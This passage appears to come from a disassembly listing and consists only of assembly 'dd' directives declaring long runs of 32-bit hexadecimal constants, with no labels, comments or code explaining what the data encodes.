		dd 7D44B800h, 50461210h, 86FD48DCh, 25DD7F00h, 439C7528h
		dd 22BB0E47h, 5E04E1FEh, 0F54007A1h, 0F179859Bh, 0C3C09C1Dh
		dd 0E3AED92Eh, 4AB900D1h, 0F7E67CE9h, 244E2FEAh, 4D00C0BCh
		dd 0FACC8F09h, 7918B64Eh, 27E13261h, 0A5DE0788h, 581B9493h
		dd 0CA54ED00h, 746D03Eh, 0E245622Bh, 749DA02Eh,	0C091C47h
		dd 25A1D6h, 0D83A76F8h,	0DC801C9h, 0D959FC60h, 0ED798852h
		dd 0E32B014Eh, 0D985BE33h, 81A1D512h, 777D6A69h, 5430E9E7h
		dd 32D70369h, 614C23DFh, 106FAFB8h, 9436400h, 76118D20h
		dd 0E5DB00DCh, 0CA4956Ah, 3F006233h, 343E64FAh,	0DD19C3h
		dd 9CA17174h, 5C11F4BAh, 0FDE60E04h, 0ECC0B576h, 1949A13h
		dd 0E1F066ECh, 80E40888h, 974EBF18h, 0F08C3DE2h, 864F09D3h
		dd 8400C1F2h, 49E7130Ah, 0C311FA03h, 0F8C0B98Eh, 2FFD78h
		dd 64F9AD21h, 97AC681Dh, 4B1281F8h, 0F80013E5h,	0B76136C3h
		dd 0CE967E0Bh, 0E7C0C526h, 6F9DF7B3h, 28C8B813h, 10403413h
		dd 0A8DC2EDAh, 71FF0013h, 55CA8284h, 19128A17h,	64026B77h
		dd 0E3D569DDh, 328FE79h, 0C861EC44h, 21549BBDh,	0D90E08D0h
		dd 0E0EDCAE0h, 141184C7h, 0DDD6383Ch, 0E5D56E00h, 1B6ADF3Eh
		dd 66D3691Fh, 234642CFh, 1109FADh, 7871FA29h, 87D55F68h
		dd 0D1802910h, 63476684h, 91BB6010h, 1EBC75E7h,	24923E00h
		dd 4B084h, 7D196C8Bh, 78FD8FA2h, 229E4703h, 80E05495h
		dd 0A21FD6DDh, 9159C094h, 82A95878h, 46735200h,	0F5456031h
		dd 80A03800h, 8C16E796h, 1DF3F239h, 0B0DC1A71h,	21AD51F1h
		dd 242AE324h, 0C003E09Eh, 88718CACh, 1828EB5h, 0EF180F2Fh
		dd 0F8F5B6F4h, 80920625h, 0A945B107h, 0A390F2E3h, 1F562ADCh
		dd 0D8C1F7E8h, 0E943891Fh, 203EE026h, 8DFD50h, 6C02BC67h
		dd 2EF75AD8h, 6FFB300h,	27D9C34Dh, 402D4DD6h, 43230074h
		dd 6917EFDFh, 501E765h,	88DC6407h, 2DF25ADh, 8724D359h
		dd 2C40BFE3h, 0CFE0D1A5h, 58BD8CB0h, 0D7343C5Dh, 0D9BEE804h
		dd 17B4985Eh, 7D34F949h, 0F6E1B900h, 0AD99CB26h, 7E1101D0h
		dd 5E8DE333h, 0B638481Dh, 264DFC1Ch, 0E000A468h, 7B2A2BDDh
		dd 78F1F4C7h, 7C9069h, 123EB662h, 4EF954FCh, 894A1F39h
		dd 4B72344h, 74C3D2A0h,	6EA1A04Dh, 0F2AB007Eh, 899E2695h
		dd 0B5002E11h, 46096652h, 17E0A096h, 1DC7F121h,	591481DCh
		dd 0E4FAD06Ah, 0BF3CF425h, 7D19EEDh, 3119B518h,	2EEE8A4h
		dd 2741CE25h, 0ACA0264Eh, 37C7F215h, 622AB509h,	4828002Fh
		dd 60277602h, 0AFA01164h, 340298F2h, 0D760543Ch, 139C8045h
		dd 668AA7h, 3EB7E64Dh, 0B650854Ch, 687049h, 6C963D8Ch
		dd 77B299CAh, 701F224h,	62F1D05Bh, 1E4CA0D5h, 4100C3ABh
		dd 963AA291h, 15774F7h,	3542584Dh, 300F2288h, 0A0065094h
		dd 8D47E62h, 0E1AE0010h, 173654D0h, 0CD71BCE0h,	0AD5D3F00h
		dd 0FA08B123h, 73270FC2h
		dd 0EBC0D963h, 0B7DC2A36h, 72C6C902h, 5228F0A4h, 95173A1Ch
		dd 27FFFA05h, 492CC171h, 4DFEE040h, 22839h, 0AF2E1889h
		dd 7E41627h, 8CB55259h,	2DD5F0F4h, 4A008910h, 0A249986Fh
		dd 94C59Fh, 35ABA8B1h, 620AE85Ch, 15184C12h, 0EC31B805h
		dd 0B6F365C0h, 0FEA61344h, 84800050h, 74B96E15h, 8ABA5200h
		dd 642DBD2Ah, 7A8F00AEh, 0CEDB5FE9h, 510708C7h,	9E3AD79Fh
		dd 38E06226h, 0DC800710h, 50F9BACAh, 0A8047419h, 0B95CB0BCh
		dd 0F974CB0h, 0AE777B5Dh, 6AAA6980h, 0F200E254h, 0AC56DEC3h
		dd 1444E926h, 0A428FBB2h, 29583502h, 0B8806204h, 866C2BD2h
		dd 0C4D06606h, 190D2Dh,	7F84ED4Bh, 31C259F5h, 64731800h
		dd 0E7D70DFFh, 38EB00A5h, 0D2DDD17Ch, 88006FFAh, 0EE5FB06h
		dd 4152EDh, 0A8BD9CEh, 0A8ABE2B2h, 2400C772h, 8E439C5h
		dd 40C90C4Dh, 120048AAh, 0D5198D86h, 4050B5h, 8A856D9Ah
		dd 7B0DC921h, 0DC673Ah,	931B3FCFh, 1C19BD4Bh, 806C1065h
		dd 23B19835h, 2200E26Ah, 0D7CFDDD2h, 70A97Bh, 9E2A7E14h
		dd 1CF9168Fh, 0F7D5FB03h, 0B083218Bh, 762F5C5h,	51C94E6Ch
		dd 0E2A9D054h, 163AB319h, 0C6FA000Dh, 675CCF9Ch, 53AE1673h
		dd 30310064h, 368C74A0h, 0A1229800h, 0BD8582BBh, 183501A2h
		dd 0B59E5B43h, 0EBA3C026h, 1D7E390Bh, 62E10002h, 2173470h
		dd 0C45B9308h, 0F8405D03h, 0E217BC4Dh, 3AE8B828h, 10607A00h
		dd 0A46AE7BDh, 6636500h, 0E625215h, 0B946006Eh,	9777C27Dh
		dd 6500CBE1h, 63124AEDh, 605633h, 62A9677Eh, 0BEF6DE55h
		dd 490C1F00h, 0DF37E9CDh, 67BD0113h, 9C93236Fh,	0D2BBCCB7h
		dd 7C157F3Fh, 819EB01h,	3A6AA0B2h, 0A80243CEh, 3E7F17h
		dd 0C7A29673h, 0C3223204h, 2AB86E03h, 0D0903B95h, 66097Ah
		dd 0FD69A817h, 289CC5B4h, 0B3108700h, 8A61CAD7h, 0F99200EFh
		dd 54D9FCEDh, 81EF598h,	0A0004F8Eh, 0B0B5583Dh,	0BC02177Ch
		dd 0E76D0078h, 62BEE123h, 4874CC0Fh, 0C55A80B9h, 3160A6A0h
		dd 8460110Fh, 4DA7FCE7h, 175D100h, 71CC5A4Eh, 0E9681C14h
		dd 52E6406Bh, 0A4105BF8h, 0F107E200h, 0C9873EBFh, 76AB076h
		dd 51D504DFh, 3D2250ECh, 707C8CBDh, 45369701h, 95E667DBh
		dd 1D33DCh, 16A9B884h, 4A74AD4Bh, 0D89F3Bh, 190AED34h
		dd 1D3B3C67h, 9E321617h, 85E082ACh, 0CAE05388h,	0E4005CCDh
		dd 435BCFEFh, 0DDE949h,	3E802CBh, 2925F206h, 0A0935C01h
		dd 964E5A1Dh, 0DBB5F4h,	3BD3F1F0h, 0CD67B4A6h, 7A797D07h
		dd 1EA064FEh, 1C3CBA14h, 82CFD9FBh, 2687B8D2h, 5EC0FF80h
		dd 840004EFh, 0A2913A1h, 0EA482152h, 0F81A000Ch, 3F241EAFh
		dd 4701BB7Fh, 7AA60D20h, 8CC8ADF7h, 0F3EAB5h, 0B6A03DD1h
		dd 9FFD2C79h, 0FB73B800h, 5E012B91h, 0A1CB01E6h, 2A13EAB3h
		dd 87D8F747h, 0E0ECF765h, 7015C100h, 0B57BFF2Bh, 19A71E7Ch
		dd 772C04Eh, 0CDDFF02Ah, 0DDACFA00h, 0C87405DCh, 6D78B4h
		dd 956A0DB1h, 0B7B9E49Eh, 0A7E27D0Fh, 8D5840C9h, 2B5003h
		dd 883B1AF4h, 961C17DEh, 0E12DC007h, 5EB146D9h,	60801649h
		dd 0D88A9704h, 0DC067F8Bh, 0ACCAC83h, 0E39D0E18h, 9285D9BBh
		dd 8D18385Fh, 8F041774h, 9144407Ch, 0BB6B6480h,	5A59000Ch
		dd 0EA3ECB96h, 420D4AAEh, 0D8C36308h, 3A769560h, 2C51DB77h
		dd 0C5D12088h, 0B301F890h, 3C1DEBE8h, 0EDB07AEAh, 6B7A85h
		dd 0D18BBE1Ch, 47760850h, 4925562Eh, 4004D80Ch,	16450058h
		dd 4EE8D371h, 43E8AB6Dh, 85F46F06h, 870F3D0h, 814772Ah
		dd 0E08B3F3Ch, 0D51F2DD0h, 222300E1h, 0B081D043h, 0D8E63206h
		dd 60962907h, 92B0D6E2h, 121AF511h, 72D0D4h, 94F1F26Dh
		dd 10171ACh, 632B73A7h,	1880F5E6h, 0DDD48952h, 0C0F80A37h
		dd 995C5103h, 9E60272h,	16AC8F20h, 0C52BB420h, 0C67F891Ah
		dd 84730C0h, 6133C1Ch, 2D79DC75h, 40C418E7h, 0F1FFE18h
		dd 6F039D54h, 58C1F8E1h, 834F2161h, 5BE92A28h, 8FE9050Fh
		dd 87BCD28Eh, 4CDB650Dh, 0DF092098h, 89CBAC78h,	51740C99h
		dd 2BD70685h, 0D1109383h, 0DAA67900h, 0A0170A2Dh, 41056FF7h
		dd 83D9AAE0h, 0EE549633h, 9D0F70B4h, 0E1731B13h, 1A992B23h
		dd 5A6B9880h, 0D54A69B8h, 6C60D466h, 23870071h,	0C29424CAh
		dd 10E00F7Ah, 0D5C4B600h, 5F4656ADh, 0DC013DF6h, 86733080h
		dd 0F26A9325h, 0A9723600h, 4B337F8Dh, 4887008Ah, 0AD60D803h
		dd 0F51EF12Ah, 95804569h, 28765B6Ch, 4A738Eh, 804725A4h
		dd 0B502645Fh, 8150B63Ah, 6E12B877h, 1FC8A6D3h,	0E4C01F1h
		dd 173E28B3h, 5B38F8A3h, 0B50A4D0Fh, 4F4400CFh,	5F8785Dh
		dd 880FF291h, 3FAC40D5h, 4AB4FBF6h, 77BA0500h, 8F4F1606h
		dd 0B821C0C8h, 0C5AFE198h, 878C173Eh, 59CD841Ch, 0C40C8000h
		dd 5AEE47Eh, 81475E5Dh,	1BAC0508h, 0A301F6Fh, 3C9C74Dh
		dd 0C04BB2BFh, 0D68F1818h, 339BC21h, 5A627BB1h,	6FE0C167h
		dd 0F1007742h, 0CB487218h, 0A0886C8Fh, 52548h, 4189F59Ah
		dd 0DE385895h, 8F02C4F8h, 8CFD59C1h, 501CC0EDh,	774D0054h
		dd 862A6DE4h, 3A0485BDh, 10EC6567h, 3BBFB080h, 84C20038h
		dd 4B5E1C39h, 0A800319Eh, 68A6950Fh, 0FE3CA075h, 74D9778Fh
		dd 773B00D8h, 3D2B83F0h, 95002074h, 4F0441B4h, 4D8ECC11h
		dd 1B0C1813h, 84B1D96Ah, 0E952DD0Fh, 445E725Ah,	0F6483E43h
		dd 201100ECh, 29028D63h, 4B0061E2h, 939FB5FFh, 474EE8Ch
		dd 1D3D4E50h, 795082DCh, 3043B287h, 6D05A1A7h, 9A600D00h
		dd 0EB705B20h, 0CFA23933h, 5854E0CBh, 8BCD320Dh, 40B11DDh
		dd 0DBA4B0C3h, 48EB1004h, 0D080BC13h, 8EBF61h, 7B8CB6A9h
		dd 2A1C86E5h, 6DDD0600h, 0B55B13C0h, 0AE630042h, 0FA2F3008h
		dd 100E6D6h, 0F2D32434h, 0B3AD52h, 4E902922h, 16E3FA78h
		dd 9900207Ah, 510B64D7h, 97BA37h, 0AB1D6938h, 0A5F3EC71h
		dd 4FF04E74h, 37FFC900h, 0B6DAF944h, 115091Fh, 0D280AE31h
		dd 647995Ah, 93C983Dh, 80113E22h, 82FD4869h, 83020EEEh
		dd 6AC0B034h, 0BBF067E6h, 0E2513B00h, 754CE5F5h, 0C93A0019h
		dd 745989Ch, 0DB3BC285h, 0B63F8030h, 0DCF6EDCh,	0E98800A9h
		dd 8205AC64h, 36031B37h, 76BB242Dh, 531950FAh, 0D20D01E3h
		dd 9641A719h, 1EBCC465h, 7DD37500h, 9EAD570Eh, 83423A6Eh
		dd 0FE2FC680h, 423E652h, 40A80A00h, 8F4AD846h, 0C46402E0h
		dd 7EDDEBBEh, 6305D0A0h, 0A230CEF0h, 5E4870C6h,	49060091h
		dd 3AEFAEC3h, 0F300A3A4h, 3D2EFC31h, 1E1F29ADh,	559A10Dh
		dd 203FCEB5h, 0ED535F8h, 0CFF024Ch, 302FA729h, 6347184Fh
		dd 0CCE56133h, 7003AA76h, 6EB0760Ch, 846AB0BFh,	0A1E0050Eh
		dd 0C09D9938h, 875FDDAEh, 0B6640A1Fh, 0D8F168C0h, 0D10DA4h
		dd 21F472C2h, 0FBC7E32Bh, 0C9221600h, 0EC5CE80Fh, 0DCF4D2h
		dd 0AE46418Ah, 0BDB44C7Fh, 0FB6A7500h, 0E60B3D6Ch, 0B57798FAh
		dd 41EFDD8h, 20405115h,	89BE2511h, 0E4B201A2h, 0EF1C37C9h
		dd 924DF46Ch, 80C45C00h, 10AF8AF2h, 0CCA0A1DCh,	0CCE70h
		dd 81A3577Fh, 6093DFFh,	0A000BFFCh, 5A988925h, 0B9683FDh
		dd 0FAECBA2Bh, 53F4D400h, 6E0E0CDAh, 204F99B7h,	24368494h
		dd 0C3751F8Dh, 0AF2800E7h, 2F596105h, 3852E39h,	26FA8A58h
		dd 515B9940h, 0ACA7DCh,	64ABFDFCh, 0CDDC9D4Ch, 73157B06h
		dd 0E2187h, 9FEA7959h, 0CA5604E9h, 0C3A0F82Eh, 8CFECE05h
		dd 0D5F4DC41h, 6A700672h
		dd 3B9855h, 0E445BBB5h,	500A1F17h, 9FC5A500h, 0E353E18Ch
		dd 79FB01D4h, 0AD3C87F2h, 0C3BAF8FFh, 0C0717502h, 44A127AFh
		dd 6D640104h, 8B6B09FBh, 4B20244Ah, 91DC5107h, 0B6F0A7B2h
		dd 0EEC27EFCh, 0EBF400B7h, 620EC964h, 21004218h, 0DC8C3F56h
		dd 71FF16F1h, 0A08F00AEh, 8DA4B79Ch, 0CE185AEAh, 58D0E7F7h
		dd 277388E5h, 8047BE39h, 6FCB0119h, 3BCAAF78h, 0F2001035h
		dd 8977D513h, 6903666Bh, 533A63E3h, 1080B449h, 90AA48A6h
		dd 0B2650018h, 172DD6C3h, 3A00D8E4h, 3CAE9560h,	16BC597h
		dd 0B3CC31DDh, 24D39EA1h, 12009870h, 0C03004B1h, 14D5CC8h
		dd 0E48A96FFh, 0F4C68C68h, 0D4005FB4h, 818DC5ABh, 9A4E67h
		dd 4AA0B6D8h, 0D1D0EA70h, 987DDE7Ah, 5C6DAC06h,	11DFD7h
		dd 5650639Bh, 89DA72F5h, 0B6ED8F00h, 1C437126h,	128C0038h
		dd 607B9DAEh, 0A700F352h, 2C052858h, 7EDAC203h,	42A61EA2h
		dd 6DB50EBAh, 2843CAE0h, 64007918h, 0BD5D745Ch,	0E1676Eh
		dd 46B3B890h, 5575CAEAh, 3C2D0509h, 737C00DFh, 0E667E5h
		dd 6541D5BCh, 0CC2A9DCAh, 59F29400h, 9290FA0Ah,	0DDDA015Fh
		dd 0C3E65167h, 7E1CF085h, 0B0B11503h, 0C81496E1h, 0D21F8Ah
		dd 0CA478F48h, 4E99DADDh, 1C7ED300h, 71819DB0h,	6003013Ah
		dd 0DC6DBE7Bh, 0BBC9F067h, 0C0B15626h, 0D21FF31Fh, 4AD63FC0h
		dd 647F162Ch, 86A6B0BAh, 0D0C0B082h, 1C24E53Bh,	0ED9405A1h
		dd 80DE5Dh, 0EE5E30C4h,	3C188B54h, 0E6806004h, 7C583B97h
		dd 0E366FA01h, 20CFA3B5h, 0E7062D60h, 4675FDF3h, 0C1CA0011h
		dd 1C301239h, 0CE0E2510h, 0A7852A36h, 0AE00215Bh, 4DCC0EA5h
		dd 520088A1h, 0C51D7BB5h, 89584745h, 26D80028h,	91D96810h
		dd 0A89A76h, 0C20B3F7Eh, 15274BC1h, 0DCC41F01h,	6E2F66ACh
		dd 7A5D8440h, 34CF3DC5h, 0FA87CACh, 76206A8Ch, 1AD7F96Fh
		dd 0D0C16D32h, 7714C6C3h, 19CD60EFh, 7E502729h,	3C1EC500h
		dd 832210Fh, 91641D6Fh,	372440A2h, 0E0FECD0Ch, 0D81BD618h
		dd 140BC239h, 0F0908168h, 0D9C0AF00h, 64B17EB6h, 7F506F00h
		dd 0EE8EB412h, 857100E2h, 0C0CF4D32h, 8D7F1BCCh, 74B34A00h
		dd 0CA89DC97h, 8EB700AAh, 780B1265h, 0AEFEB60Eh, 19B05700h
		dd 34F8D2ABh, 189899h, 0CB1C3D54h, 0C2F492C5h, 5D211F04h
		dd 48C020DAh, 4515CCh, 77AD0CA3h, 3D2A0847h, 0CD6B8001h
		dd 322C8EABh, 19E6C8h, 0BE0CE0Ah, 0E479C5B1h, 6A02B407h
		dd 54A05285h, 395113C3h, 0AB0093DAh, 3F12C297h,	0BA00A39Bh
		dd 0FE9AA078h, 49C77CE7h, 4700985Ah, 5C7EB942h,	1A0B112Dh
		dd 64D3F4h, 0A5BFB45Fh,	22381FE7h, 0EC6F86C4h, 8D3B4095h
		dd 962507F4h, 92E7F859h, 0B1B25190h, 0F2982AD6h, 0C9E202CFh
		dd 9B24FF19h, 449A0C48h, 401FD174h, 29C110E4h, 9121C8CCh
		dd 1EB9FCh, 7D1480F9h, 68B28ADFh, 0BB72C539h, 437B0F41h
		dd 3420C0B8h, 0E22E0A9Dh, 363012D6h, 5D940074h,	98313988h
		dd 101EECA3h, 0B03E3860h, 39D82122h, 554F1CC9h,	29BD406Dh
		dd 0A38BDB91h, 2F047300h, 0DDB89F21h, 8D9600B3h, 0BD237684h
		dd 74399BD3h, 0DCFA83E0h, 0C1195C07h, 508E6245h, 5E875B1Ah
		dd 30EFB0ADh, 940266F5h, 781B12C5h, 576C600Bh, 8050F59Bh
		dd 0DED85818h, 20ED01A0h, 8111B3F6h, 0FFEFA438h, 1041541Bh
		dd 1C409F57h, 78E316h, 6166BC70h, 0E3799D6h, 50D51D07h
		dd 4FA712CDh, 1B96A291h, 0B8DDC4h, 0E263580Ah, 0D41E6D82h
		dd 430CC502h, 686F3F2Bh, 768C22Ch, 98B2DE1Ah, 7A69101Ch
		dd 35002E0Eh, 0AD9438AFh, 0E1728C8h, 218370A1h,	22EE6183h
		dd 0F1A36DABh, 0BEF849E1h, 0DC5D0008h, 57C8ED78h, 0AF690059h
		dd 2EE30D17h, 4600B613h, 6185A882h, 3B204CA6h, 3600582Bh
		dd 5E6FDCEDh, 0E33C5F86h, 70411E02h, 0A7D42E04h, 0BAFD4EC0h
		dd 6BC30098h, 4424C2FFh, 2000F283h, 0B802A7DDh,	390B2FDh
		dd 9F0379BCh, 0B6D024C7h, 68DCBDB1h, 86BA3E8Eh,	36A9EC4Ah
		dd 0C07C6D01h, 7D1B3B03h, 0C0CE2A29h, 0F8979209h, 7A7C0026h
		dd 9FC394D8h, 0C9F81645h, 0E1FD9F8h, 36C07D17h,	70D1532Ch
		dd 8AEF06A0h, 40CC1BC5h, 8E73230h, 772B4C9h, 2AD893B1h
		dd 37E4819Ah, 426CE4BAh, 0A70020DFh, 33142634h,	960C0C1h
		dd 0B9BD1248h, 50DB1600h, 1C1ACC76h, 78CA2CD3h,	3E003FDEh
		dd 62D5B71h, 0B20FDD9Ah, 0A027D07Fh, 28A41EBAh,	9CD14CEFh
		dd 3307AA39h, 60F106B9h, 16143403h, 6E04A507h, 4660FE4Bh
		dd 0E683A8DFh, 32731861h, 9F2DB9F3h, 91014100h,	69A23FAh
		dd 8E1C00A5h, 54C240AFh, 3E6018EFh, 474892B1h, 0CBDB330Eh
		dd 1FA87711h, 43024EFCh, 79D47CC7h, 18A0A017h, 60490719h
		dd 8C0A1147h, 3F29448h,	0FB713B03h, 0F845FA90h,	0EEC343D1h
		dd 355F0018h, 3DED895Eh, 963DBC73h, 0F45035Bh, 0C0A4269Fh
		dd 3A8CC103h, 200F2B4h,	3723CE9Ch, 0F606673Dh, 66B97D6h
		dd 21D96908h, 0E4377483h, 969876F8h, 51883306h,	21E6B3h
		dd 0A040C3Eh, 1237168Eh, 0FD816B00h, 2EFE5F3h, 0C6863046h
		dd 94E1EE28h, 100DD900h, 48F278E6h, 0E408CCB6h,	8C00CB21h
		dd 46550BD9h, 0FA7B71EBh, 848064Fh, 70EE8721h, 7EA5B600h
		dd 0ACA66D2Ah, 47FC006Eh, 60718E26h, 27F01381h,	0D58D8403h
		dd 1BC6F170h, 609DBD88h, 34A9023h, 1019D990h, 8EA867D4h
		dd 0E9C08807h, 6FFE791Fh, 16D7D200h, 96AAE483h,	4048000Ch
		dd 0FB179A04h, 853470D4h, 8C4F70FFh, 9BFC26EEh,	0A0AF00B8h
		dd 881A7E95h, 0B90F7BF0h, 618C458Fh, 0F76A219Ch, 40E22981h
		dd 0D1811FA5h, 585660D2h, 21D108CCh, 0A54900B7h, 29B11046h
		dd 8D72B03Ah, 5F3C002h,	9DAAE999h, 46BBF0h, 44585931h
		dd 7B82E10Fh, 0C2EE16F1h, 29A6004Dh, 6FAE10FCh,	0F4D96600h
		dd 79F9498h, 24A500E0h,	74037B33h, 0F8E55B61h, 2F000608h
		dd 49856690h, 7D45D05h,	6C22F420h, 0AB602052h, 0FA7B428Ch
		dd 3C077B17h, 975B5100h, 17E601h, 42A7524Dh, 8C559A8Dh
		dd 0AFE1771Eh, 80FFF5C0h, 28663D2h, 3361E5B1h, 57614465h
		dd 0B955F0B6h, 0E2576000h, 23477BD9h, 3641008Fh, 0BAEAE5FBh
		dd 0C2003907h, 2C704EB6h, 3DFADA22h, 0A29E67B9h, 8DEE00E0h
		dd 63ACABDCh, 0F3BB600h, 25F2F56Dh, 6B230012h, 4964BF15h
		dd 0FD00EC96h, 440C8D3Eh, 1FA5A410h, 146DF84Ah,	0BA00FBE3h
		dd 940946FDh, 0CC098373h, 7A39D2Ch, 0F9F082D7h,	0DBB15Eh
		dd 3012A775h, 504ECB0Dh, 1C799600h, 4ACA8DF7h, 0A23537A5h
		dd 7C48058h, 0EC037334h, 2399D306h, 7608303Eh, 340FE921h
		dd 334EA718h, 83775F50h, 0A3519964h, 65340D60h,	1116EC23h
		dd 15E700BFh, 0D2F61034h, 3BCE632h, 0A17455B1h,	9E88417Bh
		dd 9C0E97B5h, 0A08E440Dh, 8DF5A2FDh, 0D84A00A4h, 6E0B626Ch
		dd 7E19C94Ch, 0E0085477h, 64B12180h, 13385562h,	42EC520Fh
		dd 0F7AD8315h, 0F950069Eh, 0C0AA802Ah, 0F2CA6E18h, 109239h
		dd 0C27D1269h, 1636BA5h, 0F1019890h, 4976520h, 95F87930h
		dd 5B2C0081h, 9F38EC21h, 2000ADE2h, 0F4DEF9EAh,	1B4005h
		dd 2F53E5A3h, 3E1E2178h, 14FE341Fh, 55A60E40h, 26031FD0h
		dd 6EDE10Ch, 4021D579h,	420A929h, 9DD218D4h, 0C97810E4h
		dd 19DA5F00h, 0ED032CB9h, 1E613E8Bh, 0D2FEFC00h, 0A8F373B8h
		dd 62649DF0h, 42211829h, 10CC1279h, 4886302h, 77278801h
		dd 0E3102089h, 390B4AF2h
		dd 792576h, 19AF8B1Fh, 0DEFF0112h, 0B2C2209h, 0A1DF7083h
		dd 615D3100h, 0D5F0DDD7h, 0FF4C3F02h, 8EF53500h, 0A22C4AD8h
		dd 0B236480Eh, 46BBA12Ah, 0F1807943h, 0CDBDF888h, 0E5EE0F22h
		dd 330AC1C0h, 0F39F2A7h, 1B0D0662h, 164B0132h, 0E47DB405h
		dd 3000FC86h, 0EF406BC9h, 0F74CAAh, 0DF3AC73Eh,	0A732D1D6h
		dd 0EA1C0400h, 392A4AAFh, 1B0637D9h, 8075A510h,	13283E66h
		dd 0B25C0C0Ch, 1F90A0h,	0DAA220A1h, 93E8C28Dh, 0D6F8BD1Fh
		dd 0AFE26D45h, 0FF7D92C0h, 0E55100A6h, 0C6345DDCh, 720E6685h
		dd 40C7ADC9h, 7C4C9E04h, 0EB7673h, 2808F8C4h, 989670DAh
		dd 3FBB1900h, 0B4C807A0h, 0C9380316h, 269E4F56h, 0F2289B88h
		dd 72D0B600h, 1FB9416Eh, 3A87005Dh, 45337B76h, 0B4004010h
		dd 567F20B5h, 74CEB09h,	365B174Eh, 0F318DCA1h, 4F0F7300h
		dd 11641618h, 803803A4h, 0D36C67Ah, 81C037E3h, 0F914BE52h
		dd 9C4FC16h, 804E1CA4h,	0D37CD6F7h, 0FA31E6FEh,	9EB100B4h
		dd 8C5EE439h, 5D017555h, 732A54DAh, 6B706935h, 447107EEh
		dd 0A00468D9h, 154BB6C9h, 1A6A2D05h, 0B88007D4h, 9081558Bh
		dd 3AC0F210h, 9283040Ah, 7137059Eh, 0DB50B3F0h,	2B266A09h
		dd 0D10020A2h, 77D0A8C1h, 8822CC0h, 0FADE0413h,	0AFC0804Ch
		dd 2F0003C2h, 6C7FA4B9h, 15B52Bh, 35F5BC66h, 4351B819h
		dd 89BE0D00h, 11DD0F41h, 0DE310063h, 200A85E9h,	0C60137C9h
		dd 4B3B4D12h, 0A4C88C82h, 0B147074Eh, 335159A0h, 22B8B5F3h
		dd 973EC58Fh, 555F80C6h, 67602670h, 2E3C0EE9h, 7DBE7Eh
		dd 1F8A3531h, 6800ACC6h, 0EC6A045Ah, 0F3C335Fh,	4AE211FDh
		dd 163023A0h, 0B03C3DFAh, 0A4C4127Bh, 0D07EFC0Ah, 8AD6B00h
		dd 0DC5645h, 0DCCD466h,	3EBCE415h, 8478903Fh, 5CF2874Fh
		dd 8048080h, 977D2Fh, 0A8FD5E76h, 4AF38FABh, 0A02C3400h
		dd 37AFE4E2h, 0F7FF2458h, 0D10780B4h, 45439AC9h, 1B6A5D00h
		dd 0DAB232AEh, 0D4200FB1h, 19202C9Bh, 496EFC23h, 1504ED01h
		dd 71D2E3E6h, 193CB4E8h, 4863251h, 177DD477h, 5B836400h
		dd 5ACDDC31h, 3820C57h,	1ADCF9B9h, 0CC134700h, 1CF3D07Eh
		dd 0AC773B0Ah, 0DF8A6B00h, 4BF4BB81h, 61F96300h, 0C0EE6CFEh
		dd 33FA00A3h, 5788850Ch, 5492528Fh, 8A50901Eh, 27604358h
		dd 152924B2h, 12E40088h, 0C789D004h, 0A8E19100h, 36166143h
		dd 0D2ED0179h, 0B87EDD5Ah, 0E9984055h, 5D3FF586h, 5464A4C9h
		dd 2A93B04h, 2FE6A000h,	2A24960Ch, 53004C69h, 0CF8E23FFh
		dd 63F0D9h, 7F1421A6h, 865C20E9h, 1490BA26h, 0AD00C41Dh
		dd 85E2BDB7h, 9A7B7B8Fh, 4DDEC074h, 0A80C59F7h,	8B08EF00h
		dd 5A02FEAEh, 0C7D10023h, 0A5C1BE74h, 9A4841FCh, 0FD770070h
		dd 18C648E4h, 2299003Bh, 1EE98ECEh, 0A300F7E5h,	0EB6E2EB2h
		dd 855570h, 1DCE5EAAh, 92861204h, 0FE0041F0h, 50A10572h
		dd 3E35EFD2h, 21008C2Fh, 4071A753h, 0CA00E785h,	6878970Ch
		dd 0F5BF8E6h, 0D4EBDED9h, 175A53E0h, 3F7D2625h,	0F2607624h
		dd 631DE803h, 40A6AA24h, 0F8FA225Ch, 575800DFh,	0C4885A6Ah
		dd 0B21EE87Fh, 0E2C01076h, 32211D71h, 3E877F23h, 0FC1F14B0h
		dd 0B280FCDBh, 97B6790Ah, 0BF04F03Bh, 0E06C3988h, 33245B02h
		dd 0D4A10h, 2516680Eh, 3861FAB7h, 1C3E7A03h, 0E5FB8B43h
		dd 0F3CCAE00h, 1AE36DEh, 0FC2AA9FAh, 0FFC09D7Dh, 0D697E0EFh
		dd 1E5027B2h, 0F70065B0h, 0E41DA690h, 1C13C137h, 26C0508Ch
		dd 6191000Ch, 6CCDA9CCh, 3203B600h, 8D8CD83Dh, 0C35E0071h
		dd 0A63E5FA1h, 54797837h, 6939DDF0h, 0DE2580ADh, 972E2679h
		dd 2A7840h, 7CCA10C5h, 0AFAEB305h, 4B50E500h, 45DC8FA8h
		dd 0D48B389Bh, 0D7991103h, 0C3B87F65h, 0EA00C1D5h, 80A4A12Dh
		dd 18AD8Dh, 8262FEE1h, 811B8CF8h, 0E8EE071Eh, 9A40BDDFh
		dd 2E3BE4CBh, 519002B1h, 0A183FAEBh, 5A8B4040h,	9E3C727Ah
		dd 2FF39CBDh, 3B71D582h, 2B7C57h, 0BF9B3314h, 907B931h
		dd 0B5EFA9F4h, 0A61A1D50h, 4D8B3897h, 0B380A88Fh, 3A8BB96Eh
		dd 0D38AE800h, 0A61D231Eh, 0FD9D2C0Eh, 0EA969400h, 3B4B84h
		dd 0C87A5DC5h, 26A057FBh, 0B840FD01h, 4298E8F4h, 0E393830h
		dd 5289E44Ah, 9CEC801Ch, 3F19B321h, 5E605002h, 800AAFFBh
		dd 88F9DD8h, 0D6D0002Dh, 2CD288CBh, 8900DD64h, 49575375h
		dd 4841E3E1h, 1603E861h, 35308A94h, 5AA838h, 1EDE737Bh
		dd 0B381E1h, 7995D94Ch,	58F26B5Dh, 0D3006FFAh, 0FC898A27h
		dd 3779CA6h, 25FE84AEh,	31B8F7D0h, 0AC00DE20h, 0B5395DDDh
		dd 8AFB3h, 0F9402724h, 0A83C7FCh, 0BE8A6F00h, 2E35EBB7h
		dd 0D5FA1314h, 0D6E80163h, 0ECF260EDh, 48FADA67h, 0B0F05F00h
		dd 0C7BFA9F8h, 0A8C800C6h, 0EA1FE3E2h, 45001DF9h, 9FD10DEEh
		dd 0CA3A25h, 0EDB08F65h, 5DE07FC0h, 0C8340701h,	44B6FA6Ch
		dd 76B6370h, 57EC5678h,	9469022h, 0CB1E74D2h, 0EB804CF3h
		dd 14DFFF61h, 0DE98001Bh, 926B47C8h, 811D4FC0h,	0D4EEB8B6h
		dd 0C0FCE196h, 0D393C500h, 0B58BD06Eh, 4991E404h, 82C14F01h
